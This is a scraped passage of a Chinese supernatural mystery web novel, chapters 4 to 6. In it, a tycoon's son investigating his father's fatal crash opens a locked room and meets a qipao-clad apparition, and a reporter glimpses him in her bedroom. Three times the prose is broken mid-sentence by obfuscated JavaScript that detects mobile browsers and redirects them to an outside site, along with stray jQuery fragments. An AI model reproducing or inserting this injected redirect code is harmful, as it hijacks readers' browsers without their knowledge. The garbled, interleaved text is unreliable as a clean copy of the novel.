l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942923|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就见宗叔从楼上下来了。 宗叔愣了下,但很快猜到许修远突然回来的原因。 “小远,你回来了。老爷子在楼上,马上就下来了。” “爷爷怎么突然回来了?医生让他再住两天。” 宗叔听出许修远语气有些不对,轻咳了一声,笑着说道:“老爷子的各项指标都还可以,所以——就想回来了。” 许修远知道宗叔是不可能告诉他真正原因的,特别是和那个房间有关的。 这是爷爷的意思。 他也不再让宗叔为难,于是就点了点头,没再多说什么。 晚饭期间,许修远发现赵敬鸿端详了自己许久,即使被他注意到,赵敬鸿也不紧不慢,丝毫没有尴尬之感。 他猜到应该是爷爷让他这么做的,说白了就是看面相,看时运。小时候,爷爷就请过不少的所谓高人帮他看过,虽然他不相信,但一般都会配合。今天也不例外,他不会在这样的小事情上违拗爷爷的意思。 更何况爷爷现在的身体不太好,更要多顺着他才好。 “姓李的怎么样了,醒了没?” 许修远看了爷爷一眼,“偶尔会睁开眼,但意识还不太清醒,医生说还需要一段时间。” 他知道爷爷在看过事发路段的监控视频之后,对父亲的司机很是怀疑,爷爷疑心这个司机有可能是被商场上的对手收买,故意对他们家下手。 许忠林冷哼了一声,“行车记录仪修好了吗?” “修不好了,坏的太彻底。” 许忠林啪地一声将筷子拍到了桌面上,深吸了一口气,恨恨道:“你让人好好照顾他,一定要让他醒过来!到时候我要亲自问一问他,为什么当时他就突然在那里停车,你父亲到底哪里亏欠他了?” 许修远认为爷爷的怀疑有道理,但是这个司机在许家工作了快二十年,而且基本上都是给父亲开车。父亲对李叔很信任,这么多年一直都没换过司机。 以他对李叔的了解,李叔和家里人都老实本分,这么多年做事也都很谨慎,不像是会被人收买,不惜赌上自己的命,也要害父亲的人。 且不说李叔上有老下有小,这几天他也让人查了李叔及其家里的情况,没有因赌博欠下巨款,也没有人突发重病,家里的房子也好好的,并没有出售。 退一万步讲,即使李叔家真的遇到这些麻烦,如果他开口请父亲帮忙,父亲也不会置之不理的。十几年前李叔的父亲病重,父亲帮忙介绍医生,并且出了医药费。李叔结婚的时候,父亲送了一套新房子,之后又帮李叔的儿子解决了上学的问题。 父亲并没有亏待过李叔,李叔似乎也没有理由要故意害死父亲。 但现在爷爷在气头上,而且李叔也还没醒,事情也没有调查清楚,许修远暂时不打算跟爷爷说这些。 毕竟凡事就怕个万一。 许修远抬眼瞥了一眼坐在他对面的赵先生,爷爷说这些事情一点都没有避讳他,足以见得对这位赵先生的信任了。 “爷爷,这件事我会处理好的,您不用操心,现在最重要的是注意身体。” 他盛了一碗汤,放到爷爷面前,笑着劝道:“吃过饭,我送您回医院再观察上两天——” 不等他说完,许忠林就不乐意地摆了摆手,“我自己的身体自己最清楚,你不用担心我,而且我还有正经事要做,接下来几天你别回来。” 许修远顿了顿,一旁的宗叔忙解释道:“小远,老爷子是怕你最近太忙,累坏了身体,我已经给家庭医生打过电话了,八点他就会过来给老爷子检查,之后几天我会让医生每天都过来的,你放心。” * 刚吃完晚饭没多久,许忠林就把赵敬鸿叫去了二楼的书房说话,上楼前还不忘嘱咐许修远,让他早点回去,并且晚上不许留下来过夜。 许修远见怪不怪,以前只要爷爷请了毕老先生去过三楼,之后的一段时间,他就不会允许他和爸妈留下来过夜。 等到宗叔端着茶也上了二楼,许修远独自一人坐在客厅。 不一会儿,张阿姨从厨房出来,把一盘刚切好的水果放在他面前。 许修远没什么胃口,意思地吃了一块猕猴桃。 “阿姨,你知道我爷爷为什么突然回来吗?” 虽然知道此时客厅只有她和许修远两个人,但张阿姨还是左右瞧了瞧才放心,而后压低声音说道:“那个房间对着后院的窗玻璃突然就有了裂缝,今天早上宗叔回来过,应该是老陈跟他提了这件事。” 老陈是老宅的园丁,平时负责后院。 “知道玻璃是什么时候裂的吗?” “……”张阿姨犹豫了片刻,暗暗叹了口气,“老陈说是五天前就发现了,不过他一直待在后头忙活,宗叔这几天又很少回来,今天才碰上机会告诉宗叔。” 许修远一愣,五天前? 那是父亲车祸的第二天,也是父亲离世的日子。 4. 第 4 章 假期过后,重新回到单位上班,颜珺瑶有一种恍惚感,自己居然这么久都没来工作了。 工作忙碌的时候盼着休息,可真的一下子太闲了,却也甚是想念上班的充实日子。 看着眼前刚擦干净的电脑和办公桌,真是亲切呀! 颜珺瑶正感慨着呢,刚进来的吕嫣一看到她,立马贴了过来,搂着她的脖子开始心疼,一边晃着她,一边说了许多腻歪话。 “呀,亲爱的,你终于回来了,我可想死你啦!” “病了这么久,可真是遭老罪了,不过没事,现在好了,以后就能逢凶化吉,遇难成祥,包的,我跟你保证。” 颜珺瑶感觉自己快被她晃吐了,赶紧拍她的胳膊,“我给你带了好吃的,在你的桌子上。” “啊——是酥饼吗?”吕嫣立即就松开了她的脖子跑了,不到两秒,就听到她激动的声音。 “哇,还真是!还是你最爱我了,每次回老家都给我带。” “慢慢吃!” 颜珺瑶刚打开电脑,吕嫣坐着办公椅就呲溜到她身边,塞给她一大块黑巧。 颜珺瑶不客气地收下了,刚要说话,抬眼就瞥见门口进来的一个微胖身影。 主任来了。 吕嫣立即就呲溜了回去,同时扔下一句,待会儿和你说最近的大新闻。 还是大新闻?颜珺瑶有点好奇了。生病期间,不是睡觉,就是吃饭吃药,摸手机的次数屈指可数,她必然错过了很多新闻。 假期后的第一个工作日,和想象中的差不多,不算特别忙,但也不清闲,不过身边的同事还是“见缝插针”地和她聊了不少最近的新闻。 其中有两个和之前那场车祸有关。 第一个便是在车祸中丧生的那个老人,被人在网上爆出来曾经有过两次入狱经历,而且每次的罪名都是猥亵未成年,受害者还不少。 这件事颜珺瑶在生病时刷到过,但只是看了个大概,没有具体了解过。吕嫣告诉她,这个老头现在在网上都被人骂臭了。不少人都觉得他死了活该,更有甚者认为这种人就不该生出来,活着危害社会,死了还要连累别人,害死了其他无辜的人,真是灾星一般的存在。 另一个则是关于许家的。 个别人为了博眼球,居然敢在微博上造谣车祸其实是许耀中的独子许修远安排的。因为就在车祸发生前不久,父子俩在公司决策上意见相左,并且在公司会议上发生争吵,所以其子为了及早坐上公司的第一把交易,才做出了这种有悖人伦,天理不容的事。 虽然通篇没有点名,但只要知道许家,以及最近车祸的,一眼就能看出来写的是谁。 这个消息一出,许氏集团的法务部立即就把该微博用户给告了。事情闹大了,该用户也被扒出来是在某家专门靠瞎编造谣吸引流量的不入流媒体公司上班。该公司迅速撇清关系,为了息事宁人,把相关的撰稿人给辞退了,并发布声明表示造谣的事与公司无关,只是当事人的个人行为,并且郑重道歉,生怕得罪了许家。 颜珺瑶听到这个新闻,心里就只有大写的两个字,无语。 虽然她不了解这种豪门家族的密辛,对于许家父子的真实关系一无所知,但车祸很明显是个意外。也许当时许家的车子突然停下是事出有因,但那个老头突发心梗,谁又能控制得了呢?但凡老头发病早了几秒,或晚了几秒,许家的车子都不会出事。 怎么就能编出这么离谱的新闻呢? 颜珺瑶觉得有点奇怪,这听着怎么像是有人在背后操刀呢?目的就是为了败坏许耀中儿子的名声。因为这个谣言很容易不攻自破,即使证明是谣言了,但还是实实在在把人膈应到了,而且总有人会相信。 真是豪门是非多啊! * 傍晚,在外出采访回单位的路上,途经许氏集团的大楼,颜珺瑶想起一件事。 “许家有举行追悼会吗?” 师傅江成从副驾驶座转头看了颜珺瑶一眼,“有,不过还是不允许媒体拍摄。之后的葬礼估计也一样,不过应该还早着。” “是啊,”摄像李逸飞接着道,“那些被邀请的都开车进去,没有提前登记过的车子没法进,只拍了外围的风景。” “在哪儿办的呀?” 吕嫣从后排凑到她的耳边,“私人山庄,许家自己的,好像平时就是用来自己家人度假放松的,啧啧,贼有钱——” 李逸飞叹了口气,“只可惜没命享受了,太可惜了,还挺年轻的,就这么走了!” “……” “飞哥,你这话我都不知道该怎么接了。哦,对了——”吕嫣转移话题,“飞哥你不是拍了一张他儿子的照片嘛,快给珺瑶看看,贼帅!” “只是个侧脸,说不定正脸是个歪嘴呢!你没看网上有人画的佩奇正脸吗?”李逸飞呵呵笑起来,“而且我之前不是发给你了嘛,我这会儿手上也没有啊!” “……”颜珺瑶没忍住笑了出来,飞哥说的佩奇正脸图片,她还真看过。 “哎,我当时是在电脑上接收你发的照片,忘记传到手机上了——”吕嫣笑眯眯地看向颜珺瑶,“相信我,真的帅,熙杰可以作证,他也看过。” * 由于清明节值班,没能回老家扫墓,于是假期之后的第一次休息日,张熙杰起了个大早,开车回了乡下。 父母住在镇上,很早就到了爷爷家,帮忙做准备。张熙杰进家门的时候,就瞧见爷爷和父母三人都在客厅等着他,家里分外安静,母亲双眼通红,还在无声落泪。 姐姐三年前因故离世,这件事成了全家人无法愈合的伤口,特别是每年到了姐姐的生日,忌日还有清明节,这个伤口就会再次流血,痛感加倍。 姐姐葬在了奶奶的墓旁边,以往陪着自己扫墓的人,如今却永远沉睡在了地下。一看到姐姐的墓碑,母亲就抱住墓碑,放声痛哭起来,全家人都跟着掉眼泪。 扫完墓,烧完纸钱,张熙杰扶着哭的快要虚脱的母亲往回走。墓旁不远处的草丛里,躺着一束已经枯萎的花,看着像是百合花。张熙杰知道这束花应该是颜珺瑶清明节时给姐姐送的,每年她都会过来看看姐姐,送上一束姐姐最喜欢的百合花。 大概是哪个乱跑上山的大胆小孩拿走了花,然后随手弃在了这里。 呵,人的一生,跟朵花似的。 * 中午吃完饭,爷爷突然开口让张熙杰开车送他去一个地方,却让他先不要问,上路了再告诉他要去哪里。 等到车子开出村子,爷爷终于愿意把地址说了出来。 居然是邻县,一个非常陌生的地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942924|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>输入导航,张熙杰忍不住又问了。 “爷爷,你去那,是有什么事吗?” “去看两个人,”爷爷呵呵笑了,“等到了地方,你就知道了。” “……”好吧,这是让他不要再问了的意思,张熙杰只好专心开车。 一个半小时左右,车子进入邻县,继续跟着导航又走了约摸三十分钟,终于到了爷爷所说的龙言村。 但这里还不是目的地,之后由爷爷指路,又绕了一些路才终于到了爷爷想去的地方。 银相山。 说是山,但从高度来看,应该就是个丘陵。 张熙杰仰头瞧了瞧,爷爷说来这儿是要看望两个人,该不会是要祭拜什么人吧? 果然如此。 当他再一次问爷爷,到底来这儿是要做什么,爷爷的回答是:“我的恩人埋在这里,好久没来看他们了。” 说完之后,便提起他带来的黑色行李包。 恩人?这还是第一次听爷爷提起。 爷爷是孤儿,他口中的恩人,该不会是曾经养育过他的人,或是师傅? 张熙杰不放心爷爷一个人上山,还提着一个看起来挺有分量的包,打算也跟着上去,说话就伸手要去帮忙拎包。 爷爷却推开了他的手,坚决不让他上去。 张熙杰无奈,“爷爷,您的恩人,就是我的恩人,我上去给恩人磕个头,这都到山脚下了。” 反正来都来了。 爷爷欣慰地看着自己的孙子,“你有这份心就可以了,等到爷爷以后来不了了,你就代替爷爷来祭拜他们。但今天,你不能上去,而且你要答应爷爷,今天的事不能告诉你爸妈,不用问原因,以后我会告诉你的。” “……好,我不会说出去。” “乖乖回车上等。” 返程回到家里,已经是晚饭时间了。 爸妈在饭桌上问起爷爷下午帮忙处理的事情麻不麻烦,张熙杰这才知道爷爷是用了什么理由。 爷爷懂得一些什么阴阳风水方面的东西,所以一直以来都会有人来请爷爷去帮忙处理这方面的问题。 张熙杰看看爷爷,又瞅了瞅爸妈,低头继续吃饭。 爷爷都把事情告诉他了,为什么不打算告诉爸妈呢? 深夜,张熙杰刷累了手机,终于关了灯睡觉。自从当了记者之后,他的睡眠质量就不如从前,很容易被惊醒。 就像今晚,突如其来的吱呀一声,让他瞬间睁开眼睛。 是从楼下传来的开门声。 紧接着又是一声,这次应该是关门。 进贼了? 张熙杰腾地从床上跳起,冲向窗口,往下一望。 居然是爷爷。 他很是诧异,这么晚了,爷爷这是要去哪儿? “爷爷——”张熙杰压着嗓子,低低地喊了一声。 爷爷正要去开院门,听到这一声,吃了一惊,忙转身往楼上瞧。 张熙杰朝他挥了挥手,而后快步跑到楼下。还不等他说话,爷爷脸色就变得有些不好看。 “这么晚怎么还不睡?跟下来做什么?” “……”所以爷爷是特意等到他和爸妈都睡下了,才偷偷出的门? 到底什么事情值得让他这么神神秘秘,小心翼翼呢? 5. 第 5 章 张熙杰瞥了一眼爷爷手上的黑色袋子,袋子扎的紧,看不到里头是什么东西。 他清了清嗓子,“我不放心您,所以下来看看——您这么晚是要去哪里?” 爷爷紧紧蹙着眉,语气有些冲,“你赶紧回去睡觉,我有自己要做的事,马上就回来了,不会出事。” 张熙杰知道爷爷生气了,不敢违拗他的意思,回了屋里,一直待在一楼等着。 爷爷口中的马上,差不多将近一个小时。 他松了一口气,也没再多问,突然间就闻到爷爷身上居然有烧东西的味道。他立马反应过来是怎么回事,无奈道:“爷爷,你要祭拜谁啊,怎么还专挑晚上去啊,等明天大白天不是更方便嘛,而且我还能陪您去!大晚上的,搞得这么神神秘秘,像做贼似的——” 闻言,爷爷一瞬不瞬地看看着张熙杰,许久之后才露出一丝笑意。 “等爷爷走了,你要替爷爷去祭拜他们。” 张熙杰啧了一声,“爷爷你怎么又说这种话,刚才下午说,现在大晚上的也说,我都还没结婚,您也还没当太爷爷,怎么老说这么不吉利的话,也不嫌忌讳!” 爷爷轻声笑了笑,“早点休息吧,爷爷好得很,不用担心!” * 重新上班有一段时间,颜珺瑶觉得自己的生活恢复到了从前,还没亲眼目睹那场车祸,也没有看到那个小女孩之前的日子。 上班时每天忙着跑采访,写稿子,剪片子,时不时回家里蹭吃的,休息时和朋友吃饭逛街。而之前那段生病的那段时间,似乎只是她平静生活的一个小插曲,一个小bug而已,修复之后就不再对她的生活有所影响了。 她琢磨过一件事,那就是自己突然反复发烧,会不会和看到那个小女孩有关呢?那个孩子不存在已经是确定无疑的,自己当时就是见鬼了。 她听过一个说法,撞邪的人很多身体都会出现问题,最常见的貌似就是发烧。 不管是不是,幸好现在再也没有发过烧,也没有再梦到那个旗袍女人。 以前她对于鬼神之说,还只是秉持着敬而远之的想法,说白了,其实就是不太相信。但亲身经历之后,她才算是真正长了“见识”! * 晚上八点多,颜珺瑶刚打算去洗澡,就接到江成的电话。挂了电话,颜珺瑶立马就换了衣服,迅速出门。 又是一起车祸,还好不是很严重。一个十五六岁的未成年的男孩偷偷开了家里的摩托车,却被酒驾的一名中年司机撞到。男孩的右胳膊严重擦伤并且骨折,不仅如此,男孩因惊吓过度,哮喘病发作。幸亏被路过的一名护士及时发现,及时从男孩身上找到了哮喘药给用上了,而且第一时间报了警,还拨了120。 酒驾司机一开始因为害怕就逃逸了,但没想到的是半小时之后又回到了撞车发生的地点,碰上了赶到现场的警察和记者。 中年司机又是哭又是笑的,哭的时候一把鼻涕一把泪,不一会儿又憨憨地笑起来,说着说着就又哭起来。 “我以为自己撞死人了,幸好没死,幸好没死——还好我勇敢地回来了,我是有担当的人,我是个好人,真的——” 这状态,即使不用吹气,也能看出来着实是喝多了。 颜珺瑶:“……” 她咬了咬下唇,努力不让自己笑出来,自己是个专业的记者,不能笑,绝对不能笑。 挪开视线,不期和张熙杰的眼神对上。 两秒过后,两人迅速各自扭头看向别处,生怕晚了一秒就要笑出来。 好吧,她和张熙杰都不够专业。 结束采访,正要收拾东西上车的时候,颜珺瑶突然发现这里距离上次三车连撞的事故现场很近,往前再走十几二十米就到了。 她情不自禁地向那边走去,脑子里蓦地冒出一个念头。 如果自己真的流年不利的话,还会不会再一次看到那个小女孩呢? “珺瑶,你干嘛去?” 颜珺瑶即刻回神,愣愣地站在原地。 时隔一个多月,车祸当晚,自己在医院八楼时猛然间被手机铃声唤醒时的感觉又出现了。 她明明是清醒的,可刚刚那一瞬间,真的有一种神魂归体的感觉,让她顷刻间有了自己的意识,并且能控制自己的意识。 颜珺瑶用力揉了揉太阳穴,是啊,自己要干嘛去呢? 不是很害怕吗?为什么这大晚上的,反而想要过去看看,甚至向再一次碰到那个小女孩呢? 真是有点神经了。 就算真的看到了又怎么样,难道自己还打算采访对方不成? 如果又出现之前反复发烧的情况,不是又要遭一次罪吗?如果—— 如果被缠上了,那自己又该怎么办呢?会不会自己也会和许耀中一样,发生车祸呢? 颜珺瑶被自己吓了一激灵,赶紧甩掉脑子里这些有的没的。 “哎,这段时间这附近车祸确实有点多啊,”张熙杰走到颜珺瑶身边,顺着她的视线方向看去,叹了口气。“幸好今天这个男孩发现及时,没有生命危险。可惜了许家的那位,那么一位在商界叱咤风云的人物,就那么没了。” 张熙杰开车送颜珺瑶回家,一路上发现她没什么精神,话也比平时少,便问她饿不饿,要不要去吃点东西。 颜珺瑶摇摇头,不饿,就是有点累,有点闷。 说着,就把车窗降了下来。 想起一个多月前颜珺瑶的身体状况,张熙杰有点不放心。 “是不是哪里不舒服,要不去医院看看?” 颜珺瑶笑嘻嘻道:“没事,我已经彻底好了,最近都没再发过烧。” 回到家里,已经十一点了。钱艺文还没睡,见到颜珺瑶回来,就要张罗着给她准备夜宵。 颜珺瑶没什么胃口,喝了杯牛奶就去洗澡了。 从浴室出来,坐在梳妆台前,她先瞅了一眼镜子中的自己,突然有点嫌弃自己。 啧啧,皮肤缺水缺的呀! 于是打算睡前贴个面膜,她正要打开梳妆台下面的柜子,找找那些许久未用的面膜都被自己塞到了哪里,蓦地,她浑身一僵,瞬间屏住自己的呼吸,因为—— 她感觉自己的身后——似乎有人。 * 司机终于醒了,在昏迷了三十五天之后。 许修远赶到医院,李文明一见到他便激动起来,撑着要从床上坐起,许修远握着他的手,让他躺着说话。 李文明一面流泪,一面讲述了车祸当天所发生的事情。 其实当天的情况说起来确实有点奇怪,就是在快到事发路段时,坐在后座的许耀中突然就急切地喊他停车,说是撞到了一个孩子。但李文明根本就没看到前头有人,不过还是按照许耀中的要求停了车,车刚停下,他正要转头询问许耀中,车祸就发生了。 许修远听完之后,沉默了片刻。 这个说法在他的预料之外,也让他不是太能接受。 车祸后续是他亲自处理的,他看过监控录像,很确定当时父亲的车前并没有人。而且父亲的身体很健康,头脑清楚,绝对没有精神类的疾病以至于产生幻觉或错觉。 可李叔言之凿凿,声泪俱下,神情哀痛,丝毫不似作伪。但如果这是临时编的话,未免有些太过荒唐,无法让人信服,李叔不会糊涂到这个地步。 如果李叔是说谎的话,那刚刚那一出声情并茂,只能说明李叔的演技太好了。 但可能吗? 离开医院,许修远第一时间给爷爷去了电话,告诉爷爷李叔醒了的消息,但出现暂时性失忆,医生说还需要时间才能完全恢复。 许忠林在电话那头一言不发,最后只嘱咐许修远一定要治好他。 许修远虽然不能接受李叔给出的说法,但他也不想冤枉了李叔。他决定先瞒住爷爷,利用这段时间再好好查一查,如果李叔真的有问题—— 父亲的事情总会有个结果。 * 梁舒惠的生日到了,但因着丈夫刚离世不久,她还无法走出伤痛,也压根不记得自己生日的事情。 许忠林清楚儿媳憔悴了不少,就让许修远在生日那天把梁舒惠叫来老宅,一家人一起吃顿饭,权当给她庆生。 当天正好是周六,许修远和梁舒惠上午便回了老宅。许忠林特意嘱咐阿姨给做了一碗长寿面,以及一桌子梁舒惠爱吃的菜,之后又建议她出去散散心,不要一直闷在家里。 梁舒惠很感激老爷子对自己的关心,便答应了。 吃完饭,梁舒惠先回去了,临走前嘱咐儿子多陪陪爷爷。 这次许修远留下来过夜,许忠林倒是没有反对。 晚饭时,许忠林和许修远聊起公司的事情。之前网上的那些谣言,包括后续的一些专门针对许修远的事情,其实是公司里的某些股东使的不入流的手段。无非就是担心许修远代替了他父亲,坐上了总裁的位置,让公司依旧姓许家的姓,所以几人才联手反对许修远立即接任总裁的位置。 不过他们的把戏也只是徒增笑耳。许氏集团的主要股权一直都是许家的,而且许忠林还是公司最大的股东以及董事长。最重要的是,许修远是靠自己的实力得到众多股东的信任,在董事会上以压倒性的投票当选,因为他的实力有目共睹。 这段时间,公司内部的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942925|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个牛鬼蛇神作怪,许修远很是花了一番心思才制服。许忠林对许修远的能力很放心,即使真的遇到了什么困难,也还有自己支持他。 许忠林目前心里最大的疙瘩就是许耀中的车祸,于是又在饭桌上问了,得到的答案和之前一样。 “记忆还没恢复,他自己也很着急,医生说了,越着急可能越会适得其反。爷爷,这个急不来,你放心,这件事我会一直盯着的。” 关于父亲车祸的调查还在继续,这几天反馈回来的信息,都说明李叔是没有问题的。 许修远也颇为苦恼,如果李叔没有撒谎,那就只剩一种可能,父亲当时见鬼了。 可这可能吗? 不可能。 * 深夜,许修远躺在床上,许久睡不着。他想着父亲的车祸,琢磨着还能从哪些地方入手调查。 蓦地,楼上传来“砰”的一声。 许修远腾地坐了起来,再仔细一听,没有了动静。 刚才那是什么声音? 好像是——对,很像是椅子倒地的声音。 是谁摔了? 一想到这,他赶紧下床,出了房间,可老宅里此刻万籁俱静,刚才那突兀的一声,像是他的错觉。 他正要往爷爷房间去,倏地又顿住脚步。 刚才那声音好像是从楼上传来的,三楼,而爷爷和宗叔和自己一样,都住在二楼。 为求稳妥,他先后去了爷爷和宗叔的房门口,房间里只有睡觉的呼噜声。 许修远放心了,不是他们摔倒就好。 也许是自己听错了。 瞧了瞧楼梯口,许修远还是去三楼走了一圈,几乎所有房间都打开看了看,没有不对劲的地方,也没再听到那个声音。 除了走廊尽头的那个房间。 他走到门口,按下门把手,门没打开,依旧被锁着。贴到门板上听了听,似乎没什么异常。 * 翌日,许修远又留在了老宅,许忠林虽然嘴上没说什么,但脸上的笑容明显比平时多了不少。 午饭后,等到爷爷回房午睡,许修远特意问了宗叔,昨晚是否听到了什么声音。 宗叔诧异,一整个晚上一晚上都挺安静的,没什么动静。 许修远知道宗叔睡眠很浅,昨晚那一声在深夜的时候动静不算小,如果他真的听到了,估计会被吵醒。 可宗叔却没听到。 奇哉怪也,看来真有可能是自己幻听了。 宗叔以为许修远没睡好,说着就要去给他泡茶。 许修远忙说不用,略一犹豫,又问道:“宗叔,你知道楼上那个房间为什么一直锁着吗?” 宗叔的神色蓦地有些不自然,只说自他来了到许家工作以来,那个房间老爷子就一直让锁着的。 许修远知道从宗叔这里问不出什么来,也就没再多问。 当天晚上,许修远刚入睡没多久,就被楼上的动静给惊醒了。 他很肯定,是和昨晚同样的“砰”一声,而且是从三楼传下来的。 许修远下了床,想了想,于是打开衣柜,从一件明显偏小的大衣口袋里摸出一个东西。 是一把钥匙。 外形和平日常见的钥匙差别较大,像是旧时代西洋房用的钥匙。 这是他小时候偷偷溜进爷爷的房间,拿了钥匙出去配的。之后趁着其他人不注意,进了三楼的那个房间。记忆中那里并没什么特别的,此后那个房间就对他失去了吸引力。 出了房间,轻手轻脚来到三楼楼梯口,就在此时,“砰”的又是一声。 非常清晰。 许修远一怔,目光不由自主地望向右边的走廊。 声音是从这个方向传来的。 许修远一步步往走廊尽头走去,最后停在那个房间门口。 “砰——” 一切都有了答案。 深吸一口气,许修远将钥匙插入了锁孔,转动,咔嚓一声,门开了。 门被缓缓推开,视线探入,只一瞬,许修远突然就动不了了。 一个穿着旗袍,绾发插簪,身形窈窕的女人,正背对着他坐在梳妆台前,慢慢地转过身,眼波似水,柔情款款地对着他展开笑容,而后语调轻柔地喊了一声:“君平——” 倏地,旗袍女人消失不见,许修远还未从震惊中缓过神来,眼前的一切蓦地就变成了一个现代化装修的房间。而梳妆台的位置,此刻正坐着一个年轻女孩。 她穿着睡衣,松松地绑着低马尾,猛地转过身来。 在看到他的那一刻,年轻女孩惊恐地大叫起来。 “啊——” 6. 第 6 章 颜珺瑶迅速回头,却看到自己房间的门口站在一个穿着睡衣的年轻男人。 “啊——” 她无法控制地惊叫起来,整个后背贴到梳妆台上,然而更诡异的事情发生了。 那个年轻男人倏地消失不见了。 “……” 颜珺瑶双腿发软,几乎快要站不起来。扶着梳妆台慢慢站直,双眼死死盯着房间门口。 没人,真的没人。 她使劲地揉了揉自己的双眼,那里还是没人。 所以刚才自己真的见到了一个男人,站在自己房间门口吗? 颜珺瑶正胡思乱想着,房门就被敲响了。 “瑶瑶,出什么事了?”是妈妈的声音。 “妈——”颜珺瑶三步并作两步跑到房间门口,迅速打开了门,抓着妈妈的胳膊,着急道:“妈,今晚我想跟你一起睡——” 说着就要拉着钱艺文离开房间。 钱艺文一愣,随即点头答应,只是这孩子现在这脸色,这么着急—— “做噩梦了?” “……是啊,是啊——”颜珺瑶趁机附和道,“给我吓坏了,老爸正好出差了,我今晚想去你房间睡——” 钱艺文啧了一声,“不是跟你说过,不要一洗完澡就躺下睡觉,要等上一会儿——” “好的,好的,我记住了——” 颜珺瑶生怕老妈发现床上的被子还很整齐,急忙带上了房门,去了爸妈房间。 * 年轻女孩惊恐地尖叫声,瞬间让许修远清醒过来。他下意识地就要去关门,但他的手刚触到门把手,房间内的一切再次变了。 那个现代化装修的房间不见了,穿着睡衣的年轻女孩也随之消失,视线所及,重新变成了最初的样子。 一个无人的房间。 许修远愣了两秒,迅速关上门,揉了揉额角,深吸了一口气,再次推开面前的这扇门。 眼前只有一间民国风的房间。 旧时代的西洋家具,能看出曾经的精致奢华,但已经很有些年头,透着些许老旧。不过到处都很整洁干净,看来是有人定期打扫。 和儿时记忆中的相差无几。 没有那个旗袍女人,也没有那个穿着睡衣的年轻女孩,好似什么没有发生过一样。 许修远不相信刚刚看到的一切是自己的幻觉,如果真的是幻觉,那自己离变成疯子也不远了。 难道这个世界上真的有鬼? 可刚刚那个睡衣女孩,在回头见到自己的那一刻,脸上的惊恐、震惊与不可思议,分明就是人才有的反应。那个旗袍女人,以及她口中所喊的“君平”又是谁? 为什么旗袍女人和睡衣女孩两人的长相如此相似呢? * 第二天早晨的餐桌上,许忠林见许修远有些没精神,问他昨晚是不是太晚休息。 许修远昨晚确实没睡好,从三楼回到房间之后就没怎么睡着。 “看了会儿书——”他没否认,而后状似随意地问道:“对了,爷爷,昨晚上你们有听到什么动静吗?” “没有——”爷爷愣了下,随即反问:“你听到了什么?” 许修远看向老管家,“宗叔也没听到吗?” 宗叔皱了皱眉,摇头,这几天晚上都很安静。 昨晚那个年轻女孩的尖叫声那么大,正常情况下,爷爷和宗叔是不可能没听到的,可现在看来,似乎只有他一个人听到了。 前天晚上,也是如此。 许修远叹了口气,“这几天估计是睡得太晚,总觉得耳边不清净。” 许忠林没再多问,只是嘱咐道:“晚上早点休息,别以为年轻就可以随意挥霍身体。” 许修远笑着答应了,等到早饭结束了,许忠林正准备站起身离开餐桌,他突然又开口了。 “对了,爷爷,楼上那个房间怎么一直锁着,里面是放什么的?” 一旁的宗叔闻言,忙向许修远摇头,示意他不要在老爷子面前提那个房间。 许修远佯装没看到,等着爷爷的回答。 许忠林一下子变了脸色,拉下了脸,“你怎么突然问起这个?你进去了?” “没有,我要是进去过,就不会问了,就是好奇那里怎么就一直锁着。” “里头就是放了一些陈年的杂物,都是一些没用的东西,自然锁着。”许忠林抬头看了眼墙上的挂钟,“吃好了就去公司吧,让司机慢点开车。” 杂物?即使他没进去看过,这个说法也无法让他信服。 如果只是放杂物,为什么要这么讳莫如深?如果是没用的杂物,为什么要锁上? 这幢老宅在他印象里,应该是至少翻修过一次,只有那个房间一直保持着原样,连房门锁都还是老式的。 爷爷还在把他当小孩子哄骗呢! 许修远点点头,“嗯,我会嘱咐司机的。” 宗叔扶着许忠林出了餐厅,许忠林低声嘱咐道:“这孩子应该是晚上听到了什么,和赵先生打个电话,请他待会儿过来一趟。” * 许修远脑子里挥之不去的两个字,君平,以及那两个陌生的女人。 不,也许是同一个人,他并不确定。 尤其是那个穿着旗袍的女人,在看到她的第一眼,他就像是进入了旧时代,让他想起了小时候在家里翻到的,那些太奶奶和奶奶留下的几十年前杂志中的女明星。 看她的整体装扮,确实像是民国年间的人。 按照年代来推算,那这个所谓的“君平”,会不会是自己太爷爷那一辈的人呢? 可太爷爷不是这个名字,而且家里也没有君字辈的。 这个旗袍女人又和“君平”是什么关系呢?妻子?女朋友?红颜知己? 傍晚饭后,许忠林让许修远陪他散散步,回来之后又让宗叔泡了茶,爷孙俩坐在院子里一边喝茶,一边下棋。 许修远落下一子,抬眸瞥了一眼对面的爷爷,爷爷的注意力正在棋盘上。 他轻咳一声,喝了口茶,顿了顿,开口问道:“爷爷,我们家以前是不是都是按字辈来取名字呢?” “是啊,不过你们现在年轻人都不喜欢按这套规矩来取名了,所以也就传到了你父亲这里,你的名字还是你妈妈给起的,我们也尊重你妈妈的意见。” “那有没有例外的呢?” “例外——”许忠林的视线微微一动,脑子里闪过一个名字。 